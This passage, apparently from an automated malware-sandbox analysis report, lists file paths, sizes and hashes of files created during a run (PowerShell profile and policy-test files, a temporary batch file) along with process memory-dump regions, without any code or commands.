          SHA1

          376a9bd48726f422679f2cd65003442c0b6f6dd5

          SHA256

          d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

          SHA512

          550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          64B

          MD5

          446dd1cf97eaba21cf14d03aebc79f27

          SHA1

          36e4cc7367e0c7b40f4a8ace272941ea46373799

          SHA256

          a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf

          SHA512

          a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ooyb25yw.ls2.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Local\Temp\tmp1A11.tmp.bat

          Filesize

          171B

          MD5

          c4147a2f103804ecfbfa00e0e83ac9cf

          SHA1

          d72044fbd72e5c8041d1234106d82507db26d1df

          SHA256

          cbea12fa09640ba66677943f52589497f008be89a4460675150114c42887de54

          SHA512

          d0f3711ef8a31917cf29ad411009256914892818f3fdb7a17fdae2422fb51ff987f6e2204848e12a52f9193a539c323327d79d222cfd6487f2428ace4d7ea07c

        • memory/4180-24-0x000001EBF1800000-0x000001EBF195A000-memory.dmp

          Filesize

          1.4MB

        • memory/4288-11-0x00007FFC035E0000-0x00007FFC040A1000-memory.dmp

          Filesize

          10.8MB

        • memory/4288-23-0x00007FFC035E0000-0x00007FFC040A1000-memory.dmp

          Filesize

          10.8MB

        • memory/4288-22-0x00007FFC035E3000-0x00007FFC035E5000-memory.dmp

          Filesize

          8KB

        • memory/4288-32-0x00007FFC035E0000-0x00007FFC040A1000-memory.dmp

          Filesize

          10.8MB

        • memory/4288-0-0x00007FFC035E3000-0x00007FFC035E5000-memory.dmp

          Filesize

          8KB

        • memory/4288-12-0x00007FFC035E0000-0x00007FFC040A1000-memory.dmp

          Filesize

          10.8MB

        • memory/4288-6-0x0000028AAF3F0000-0x0000028AAF412000-memory.dmp

          Filesize

          136KB

        • memory/4980-35-0x0000000005FF0000-0x000000000608C000-memory.dmp

          Filesize

          624KB

        • memory/4980-37-0x0000000006100000-0x0000000006166000-memory.dmp

          Filesize

          408KB

        • memory/4980-63-0x00000000016B0000-0x0000000001726000-memory.dmp

          Filesize

          472KB

        • memory/4980-64-0x0000000001630000-0x0000000001658000-memory.dmp

          Filesize

          160KB

        • memory/4980-65-0x0000000001750000-0x000000000176E000-memory.dmp

          Filesize

          120KB

        • memory/4980-66-0x0000000007010000-0x00000000070A2000-memory.dmp

          Filesize

          584KB

        • memory/4980-67-0x0000000006D90000-0x0000000006DB6000-memory.dmp

          Filesize

          152KB

        • memory/4980-36-0x0000000006640000-0x0000000006BE4000-memory.dmp

          Filesize

          5.6MB

        • memory/4980-26-0x0000000000400000-0x0000000000416000-memory.dmp

          Filesize

          88KB